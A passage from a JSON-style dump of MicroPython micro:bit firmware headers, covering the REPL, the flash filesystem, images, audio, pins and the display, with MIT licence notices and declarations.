OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_LIB_UTILS_INTERRUPT_CHAR_H\n#define MICROPY_INCLUDED_LIB_UTILS_INTERRUPT_CHAR_H\n\nextern int mp_interrupt_char;\nvoid mp_hal_set_interrupt_char(int c);\nvoid mp_keyboard_interrupt(void);\n\n#endif // MICROPY_INCLUDED_LIB_UTILS_INTERRUPT_CHAR_H\n"
  },
  {
    "path": "micropython/inc/lib/utils/pyexec.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_LIB_UTILS_PYEXEC_H\n#define MICROPY_INCLUDED_LIB_UTILS_PYEXEC_H\n\ntypedef enum {\n    PYEXEC_MODE_RAW_REPL,\n    PYEXEC_MODE_FRIENDLY_REPL,\n} pyexec_mode_kind_t;\n\nextern pyexec_mode_kind_t pyexec_mode_kind;\n\n// Set this to the value (eg PYEXEC_FORCED_EXIT) that will be propagated through\n// the pyexec functions if a SystemExit exception is raised by the running code.\n// It will reset to 0 at the start of each execution (eg each REPL entry).\nextern int pyexec_system_exit;\n\n#define PYEXEC_FORCED_EXIT (0x100)\n#define PYEXEC_SWITCH_MODE (0x200)\n\nint pyexec_raw_repl(void);\nint pyexec_friendly_repl(void);\nint pyexec_file(const char *filename);\nint pyexec_frozen_module(const char *name);\nvoid pyexec_event_repl_init(void);\nint pyexec_event_repl_process_char(int c);\nextern uint8_t pyexec_repl_active;\n\nMP_DECLARE_CONST_FUN_OBJ_1(pyb_set_repl_info_obj);\n\n#endif // MICROPY_INCLUDED_LIB_UTILS_PYEXEC_H\n"
  },
  {
    "path": "micropython/inc/microbit/MicroBitCustomConfig.h",
    "content": "/**\n  * MicroBitCustomConfig.h\n  *\n  * This file is automatically included by the microbit DAL compilation\n  * process. Use this to define any custom configration options needed\n  * for your build of the micro:bit runtime.\n  *\n  * See microbit-dal/inc/MicroBitConfig.h for a complete list of options.\n  * Any options you define here will take prescedence over those defined there.\n  */\n\n#ifndef MICROBIT_CUSTOM_CONFIG_H\n#define MICROBIT_CUSTOM_CONFIG_H\n\n#define MICROBIT_HEAP_REUSE_SD      0\n#define MICROBIT_BLE_ENABLED        0\n#define MICROBIT_BLE_BLUEZONE       0\n#define MICROBIT_BLE_DFU_SERVICE    0\n#define MICROBIT_BLE_EVENT_SERVICE  0\n#define MICROBIT_BLE_DEVICE_INFORMATION_SERVICE     0\n#define MICROBIT_BLE_PAIRING_MODE   0\n#define MICROBIT_RADIO_ENABLED      0\n\n#endif\n"
  },
  {
    "path": "micropython/inc/microbit/filesystem.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef __MICROPY_INCLUDED_FILESYSTEM_H__\n#define __MICROPY_INCLUDED_FILESYSTEM_H__\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"nrf51.h\"\n#include \"nrf_nvmc.h\"\n#include \"py/lexer.h\"\n\nstatic inline uint32_t persistent_page_size(void) {\n    return NRF_FICR->CODEPAGESIZE;\n}\n\nbool is_persistent_page_aligned(const void *ptr);\n\n/** WARNING: This function may require 1k of heap space in order to hold data when erasing a page.\n * Returns -1 if it cannot allocate sufficient memory.\n */\nint persistent_write(const void *dest, const void *src, uint32_t byte_count);\n/** WARNING: This function may require 1k of heap space in order to hold data when erasing a page.\n * Returns -1 if it cannot allocate sufficient memory.\n */\nint persistent_write_byte(const uint8_t *dest, const uint8_t val);\n\nvoid persistent_write_unchecked(const void *dest, const void *src, uint32_t byte_count);\nvoid persistent_write_byte_unchecked(const uint8_t *dest, const uint8_t val);\n\nvoid persistent_erase_page(const void *page);\n\ntypedef struct _file_descriptor_obj {\n    mp_obj_base_t base;\n    uint8_t start_chunk;\n    uint8_t seek_chunk;\n    uint8_t seek_offset;\n    bool writable;\n    bool open;\n    bool binary;\n} file_descriptor_obj;\n\n#define LOG_CHUNK_SIZE 7\n#define CHUNK_SIZE (1<<LOG_CHUNK_SIZE)\n#define DATA_PER_CHUNK (CHUNK_SIZE-2)\n\n#define UNUSED_CHUNK 255\n#define FREED_CHUNK  0\n#define FILE_START 254\n#define PERSISTENT_DATA_MARKER 253\n\n/** Must be such that sizeof(file_header) < DATA_PER_CHUNK */\n#define MAX_FILENAME_LENGTH 120\n\n//Minimum number of free chunks to justify sweeping.\n//If this is too low it may cause excessive wear\n#define MIN_CHUNKS_FOR_SWEEP 8\n\ntypedef struct _file_header {\n    uint8_t end_offset;\n    uint8_t name_len;\n    char filename[MAX_FILENAME_LENGTH];\n} file_header;\n\ntypedef struct _file_chunk {\n    uint8_t marker;\n    union {\n        char data[DATA_PER_CHUNK];\n        file_header header;\n    };\n    uint8_t next_chunk;\n} file_chunk;\n\ntypedef struct _persistent_config_t {\n    // Must start with a marker, so that we can identify it.\n    uint8_t marker; // Should always be PERSISTENT_DATA_MARKER\n} persistent_config_t;\n\n#define FILE_NOT_FOUND ((uint8_t)-1)\n\n/** Maximum number of chunks allowed in filesystem. 240 chunks is 30kb */\n#define MAX_CHUNKS_IN_FILE_SYSTEM 240\n\n#define STATIC_ASSERT(e) extern char static_assert_failed[(e) ? 1 : -1]\n\nuint8_t microbit_find_file(const char *name, int name_len);\nfile_descriptor_obj *microbit_file_open(const char *name, uint32_t name_len, bool write, bool binary);\nvoid microbit_file_close(file_descriptor_obj *fd);\nmp_uint_t microbit_file_read(mp_obj_t obj, void *buf, mp_uint_t size, int *errcode);\nmp_uint_t microbit_file_write(mp_obj_t obj, const void *buf, mp_uint_t size, int *errcode);\nmp_obj_t microbit_file_name(file_descriptor_obj *fd);\n\nmp_obj_t microbit_remove(mp_obj_t filename);\nmp_obj_t microbit_file_list(void);\nmp_obj_t microbit_file_size(mp_obj_t filename);\n\nmp_lexer_t *microbit_file_lexer(qstr src_name, file_descriptor_obj *fd);\n\nvoid microbit_filesystem_init(void);\n\nextern const mp_obj_type_t microbit_bytesio_type;\nextern const mp_obj_type_t microbit_textio_type;\n\n#define min(a,b) (((a)<(b))?(a):(b))\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __MICROPY_INCLUDED_FILESYSTEM_H__\n"
  },
  {
    "path": "micropython/inc/microbit/memory.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#ifndef __MICROPY_INCLUDED_MEMORY_H__\n#define __MICROPY_INCLUDED_MEMORY_H__\n\n#include \"microbit/filesystem.h\"\n\nextern uint32_t __data_end__;\nextern uint32_t __data_start__;\nextern uint32_t __etext;\n\nstatic inline char *rounddown(char *addr, uint32_t align) {\n    return (char *)(((uint32_t)addr)&(-align));\n}\n\nstatic inline char *roundup(char *addr, uint32_t align) {\n    return (char *)((((uint32_t)addr)+align-1)&(-align));\n}\n\n/** The end of the code area in flash ROM (text plus read-only copy of data area) */\nstatic inline char *microbit_end_of_code() {\n    return (char *)(&__etext + (&__data_end__ - &__data_start__));\n}\n\nstatic inline char *microbit_end_of_rom() {\n    return (char *)0x40000;\n}\n\nstatic inline char *microbit_mp_appended_script() {\n    return (char *)0x3e000;\n}\n\nstatic inline void *microbit_compass_calibration_page(void) {\n    if (microbit_mp_appended_script()[0] == 'M') {\n        return microbit_mp_appended_script() - persistent_page_size();\n    } else {\n        return microbit_end_of_rom() - persistent_page_size();\n    }\n}\n\n#endif // __MICROPY_INCLUDED_MEMORY_H__\n"
  },
  {
    "path": "micropython/inc/microbit/microbit_image.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Mark Shannon\n * Copyright (c) 2015-2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_MICROBIT_IMAGE_H\n#define MICROPY_INCLUDED_MICROBIT_IMAGE_H\n\n#include \"py/runtime.h\"\n\n#define MAX_BRIGHTNESS 9\n\n/** Monochrome images are immutable, which means that\n * we only need one bit per pixel which saves quite a lot\n * of memory */\n\n/* we reserve a couple of bits, so we won't need to modify the\n * layout if we need to add more functionality or subtypes. */\n#define TYPE_AND_FLAGS \\\n    mp_obj_base_t base; \\\n    uint8_t five:1; \\\n    uint8_t reserved1:1; \\\n    uint8_t reserved2:1\n\ntypedef struct _image_base_t {\n    TYPE_AND_FLAGS;\n} image_base_t;\n\ntypedef struct _monochrome_5by5_t {\n    TYPE_AND_FLAGS;\n    uint8_t pixel44: 1;\n    uint8_t bits24[3];\n\n    /* This is an internal method it is up to the caller to validate the inputs */\n    uint8_t getPixelValue(mp_int_t x, mp_int_t y);\n\n} monochrome_5by5_t;\n\ntypedef struct _greyscale_t {\n    TYPE_AND_FLAGS;\n    uint8_t height;\n    uint8_t width;\n    uint8_t byte_data[]; /* Static initializer for this will have to be C, not C++ */\n    void clear();\n\n    /* Thiese are internal methods and it is up to the caller to validate the inputs */\n    uint8_t getPixelValue(mp_int_t x, mp_int_t y);\n    void setPixelValue(mp_int_t x, mp_int_t y, mp_int_t val);\n    void fill(mp_int_t val);\n} greyscale_t;\n\ntypedef union _microbit_image_obj_t {\n    image_base_t base;\n    monochrome_5by5_t monochrome_5by5;\n    greyscale_t greyscale;\n\n    mp_int_t height();\n    mp_int_t width();\n    greyscale_t *copy();\n    greyscale_t *invert();\n\n    /* This is an internal method it is up to the caller to validate the inputs */\n    uint8_t getPixelValue(mp_int_t x, mp_int_t y);\n} microbit_image_obj_t;\n\n/** Return a facade object that presents the string as a sequence of images */\nmp_obj_t microbit_string_facade(mp_obj_t string);\n\nvoid microbit_image_set_from_char(greyscale_t *img, char c);\nmicrobit_image_obj_t *microbit_image_for_char(char c);\nmp_obj_t microbit_image_slice(microbit_image_obj_t *img, mp_int_t start, mp_int_t width, mp_int_t stride);\n/* ref exists so that we can pull a string out of an object and not have it GC'ed while oterating over it */\nmp_obj_t scrolling_string_image_iterable(const char* str, mp_uint_t len, mp_obj_t ref, bool monospace, bool repeat);\n\n#define SMALL_IMAGE(p0, p1, p2, p3, p4, p5, p6, p7, p8, p9, p10, p11, p12, p13, p14, p15, p16, p17, p18, p19, p20, p21, p22, p23, p44) \\\n{ \\\n    { &microbit_image_type }, \\\n    1, 0, 0, (p44), \\\n    { \\\n        (p0)|((p1)<<1)|((p2)<<2)|((p3)<<3)|((p4)<<4)|((p5)<<5)|((p6)<<6)|((p7)<<7), \\\n        (p8)|((p9)<<1)|((p10)<<2)|((p11)<<3)|((p12)<<4)|((p13)<<5)|((p14)<<6)|((p15)<<7), \\\n        (p16)|((p17)<<1)|((p18)<<2)|((p19)<<3)|((p20)<<4)|((p21)<<5)|((p22)<<6)|((p23)<<7) \\\n    } \\\n}\n\nextern const monochrome_5by5_t microbit_blank_image;\nextern const monochrome_5by5_t microbit_const_image_heart_obj;\n\n#define BLANK_IMAGE (microbit_image_obj_t *)(&microbit_blank_image)\n#define HEART_IMAGE (microbit_image_obj_t *)(&microbit_const_image_heart_obj)\n\nmicrobit_image_obj_t *microbit_image_dim(microbit_image_obj_t *lhs, mp_float_t fval);\nmicrobit_image_obj_t *microbit_image_sum(microbit_image_obj_t *lhs, microbit_image_obj_t *rhs, bool add);\n\n#endif // MICROPY_INCLUDED_MICROBIT_IMAGE_H\n"
  },
  {
    "path": "micropython/inc/microbit/microbitdal.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_MICROBIT_MICROBITDAL_H\n#define MICROPY_INCLUDED_MICROBIT_MICROBITDAL_H\n\n#include \"MicroBitDisplay.h\"\n#include \"MicroBitCompass.h\"\n#include \"MicroBitCompassCalibrator.h\"\n\nclass MicroPythonI2C : public MicroBitI2C {\n    public:\n        MicroPythonI2C(PinName sda, PinName scl)\n            : MicroBitI2C(sda, scl) {\n        }\n        void set_pins(PinName sda, PinName scl) {\n            _i2c.sda = sda;\n            _i2c.scl = scl;\n        }\n        i2c_t *get_i2c_obj() {\n            return &_i2c;\n        }\n};\n\nextern MicroPythonI2C ubit_i2c;\nextern MicroBitAccelerometer *ubit_accelerometer;\nextern MicroBitDisplay ubit_display;\nextern MicroBitCompass *ubit_compass;\nextern MicroBitCompassCalibrator *ubit_compass_calibrator;\n\n#endif // MICROPY_INCLUDED_MICROBIT_MICROBITDAL_H\n"
  },
  {
    "path": "micropython/inc/microbit/modaudio.h",
    "content": "\n#ifndef __MICROPY_INCLUDED_MICROBIT_AUDIO_H__\n#define __MICROPY_INCLUDED_MICROBIT_AUDIO_H__\n\n#include \"nrf.h\"\n#include \"py/obj.h\"\n#include \"py/runtime.h\"\n\nvoid audio_play_source(mp_obj_t src, mp_obj_t pin1, mp_obj_t pin2, bool wait);\nvoid audio_stop(void);\n\n#define LOG_AUDIO_CHUNK_SIZE 5\n#define AUDIO_CHUNK_SIZE (1<<LOG_AUDIO_CHUNK_SIZE)\n#define AUDIO_BUFFER_SIZE (AUDIO_CHUNK_SIZE*2)\n#define AUDIO_CALLBACK_ID 0\n\ntypedef struct _microbit_audio_frame_obj_t {\n    mp_obj_base_t base;\n    uint8_t data[AUDIO_CHUNK_SIZE];\n} microbit_audio_frame_obj_t;\n\nextern const mp_obj_type_t microbit_audio_frame_type;\n\nbool microbit_audio_is_playing(void);\n\nmicrobit_audio_frame_obj_t *new_microbit_audio_frame(void);\n\n#endif // __MICROPY_INCLUDED_MICROBIT_AUDIO_H__\n"
  },
  {
    "path": "micropython/inc/microbit/modmicrobit.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015-2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_MICROBIT_MODMICROBIT_H\n#define MICROPY_INCLUDED_MICROBIT_MODMICROBIT_H\n\n#include \"py/obj.h\"\n\n/****************************************************************/\n// microbit.pin objects\n\n/* Leave 0 to mean default mode. */\n#define MODE_UNUSED 1\n#define MODE_READ_DIGITAL 2\n#define MODE_WRITE_DIGITAL 3\n#define MODE_DISPLAY 4\n#define MODE_BUTTON 5\n#define MODE_MUSIC 6\n#define MODE_AUDIO_PLAY 7\n#define MODE_TOUCH 8\n#define MODE_I2C 9\n#define MODE_SPI 10\n#define MODE_WRITE_ANALOG 11\n\n#define microbit_pin_mode_unused        (&microbit_pinmodes[MODE_UNUSED])\n#define microbit_pin_mode_write_analog  (&microbit_pinmodes[MODE_WRITE_ANALOG])\n#define microbit_pin_mode_read_digital  (&microbit_pinmodes[MODE_READ_DIGITAL])\n#define microbit_pin_mode_write_digital (&microbit_pinmodes[MODE_WRITE_DIGITAL])\n#define microbit_pin_mode_display       (&microbit_pinmodes[MODE_DISPLAY])\n#define microbit_pin_mode_button        (&microbit_pinmodes[MODE_BUTTON])\n#define microbit_pin_mode_music         (&microbit_pinmodes[MODE_MUSIC])\n#define microbit_pin_mode_audio_play    (&microbit_pinmodes[MODE_AUDIO_PLAY])\n#define microbit_pin_mode_touch         (&microbit_pinmodes[MODE_TOUCH])\n#define microbit_pin_mode_i2c           (&microbit_pinmodes[MODE_I2C])\n#define microbit_pin_mode_spi           (&microbit_pinmodes[MODE_SPI])\n\ntypedef struct _microbit_pin_obj_t {\n    mp_obj_base_t base;\n    uint8_t number; // The pin number on microbit board\n    uint8_t name; // The pin number in the GPIO port.\n    uint8_t initial_mode;\n} microbit_pin_obj_t;\n\ntypedef void(*release_func)(const microbit_pin_obj_t *pin);\n\ntypedef struct _pinmode {\n    qstr name;\n    release_func release; /* Call this function to release pin */\n} microbit_pinmode_t;\n\nextern const microbit_pinmode_t microbit_pinmodes[];\n\nextern const mp_obj_type_t microbit_ad_pin_type;\nextern const mp_obj_type_t microbit_dig_pin_type;\nextern const mp_obj_type_t microbit_touch_pin_type;\n\nextern const struct _microbit_pin_obj_t microbit_p0_obj;\nextern const struct _microbit_pin_obj_t microbit_p1_obj;\nextern const struct _microbit_pin_obj_t microbit_p2_obj;\nextern const struct _microbit_pin_obj_t microbit_p3_obj;\nextern const struct _microbit_pin_obj_t microbit_p4_obj;\nextern const struct _microbit_pin_obj_t microbit_p5_obj;\nextern const struct _microbit_pin_obj_t microbit_p6_obj;\nextern const struct _microbit_pin_obj_t microbit_p7_obj;\nextern const struct _microbit_pin_obj_t microbit_p8_obj;\nextern const struct _microbit_pin_obj_t microbit_p9_obj;\nextern const struct _microbit_pin_obj_t microbit_p10_obj;\nextern const struct _microbit_pin_obj_t microbit_p11_obj;\nextern const struct _microbit_pin_obj_t microbit_p12_obj;\nextern const struct _microbit_pin_obj_t microbit_p13_obj;\nextern const struct _microbit_pin_obj_t microbit_p14_obj;\nextern const struct _microbit_pin_obj_t microbit_p15_obj;\nextern const struct _microbit_pin_obj_t microbit_p16_obj;\nextern const struct _microbit_pin_obj_t microbit_p19_obj;\nextern const struct _microbit_pin_obj_t microbit_p20_obj;\n\nvoid microbit_pin_init(void);\n\nconst microbit_pin_obj_t *microbit_obj_get_pin(mp_obj_t o);\nuint8_t microbit_obj_get_pin_name(mp_obj_t o);\n\n// Release pin for use by other modes. Safe to call in an interrupt.\n// If pin is NULL or pin already unused, then this is a no-op\nvoid microbit_obj_pin_free(const microbit_pin_obj_t *pin);\n\n// Acquire pin (causing analog/digital modes to release) for mode.\n// If pin is already in specified mode, this is a no-op and returns \"false\".\n// Otherwise if the acquisition succeeds then it returns \"true\".\n// Not safe to call in an interrupt as it may raise if pin can't be acquired.\nbool microbit_obj_pin_acquire(const microbit_pin_obj_t *pin, const microbit_pinmode_t *mode);\n\nconst microbit_pinmode_t *microbit_pin_get_mode(const microbit_pin_obj_t *pin);\nbool microbit_obj_pin_can_be_acquired(const microbit_pin_obj_t *pin);\nvoid pinmode_error(const microbit_pin_obj_t *pin);\n\nbool microbit_pin_high_debounced(microbit_pin_obj_t *pin);\n\n/****************************************************************/\n// microbit.Image class\n\ntypedef union _microbit_image_obj_t microbit_image_obj_t;\n\nextern const mp_obj_type_t microbit_const_image_type;\nextern const mp_obj_type_t microbit_image_type;\n\nextern const struct _monochrome_5by5_t microbit_const_image_heart_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_heart_small_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_happy_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_smile_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_sad_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_confused_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_angry_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_asleep_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_surprised_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_silly_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_fabulous_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_meh_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_yes_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_no_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock12_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock1_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock2_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock3_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock4_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock5_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock6_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock7_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock8_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock9_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock10_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_clock11_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_arrow_n_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_arrow_ne_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_arrow_e_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_arrow_se_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_arrow_s_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_arrow_sw_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_arrow_w_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_arrow_nw_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_triangle_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_triangle_left_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_chessboard_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_diamond_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_diamond_small_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_square_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_square_small_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_rabbit;\nextern const struct _monochrome_5by5_t microbit_const_image_cow;\nextern const struct _monochrome_5by5_t microbit_const_image_music_crotchet_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_music_quaver_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_music_quavers_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_pitchfork_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_xmas_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_pacman_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_target_obj;\nextern const struct _mp_obj_tuple_t microbit_const_image_all_clocks_tuple_obj;\nextern const struct _mp_obj_tuple_t microbit_const_image_all_arrows_tuple_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_tshirt_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_rollerskate_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_duck_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_house_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_tortoise_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_butterfly_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_stickfigure_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_ghost_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_sword_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_giraffe_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_skull_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_umbrella_obj;\nextern const struct _monochrome_5by5_t microbit_const_image_snake_obj;\n\n/****************************************************************/\n// microbit.display object\n\ntypedef struct _microbit_display_obj_t microbit_display_obj_t;\n\nextern microbit_display_obj_t microbit_display_obj;\n\nvoid microbit_display_init(void);\nvoid microbit_display_tick(void);\n\nvoid microbit_display_clear(void);\nmp_int_t microbit_display_get_pixel(microbit_display_obj_t *display, mp_int_t x, mp_int_t y);\nvoid microbit_display_set_pixel(microbit_display_obj_t *display, mp_int_t x, mp_int_t y, mp_int_t val);\nvoid microbit_display_show(microbit_display_obj_t *display, microbit_image_obj_t *image);\nvoid microbit_display_animate(microbit_display_obj_t *display, mp_obj_t iterable, mp_int_t delay, bool clear, bool wait);\nvoid microbit_display_scroll(microbit_display_obj_t *display, const char* str);\n\n/****************************************************************/\n// microbit.compass object\n\nextern volatile bool compass_up_to_date;\nextern volatile 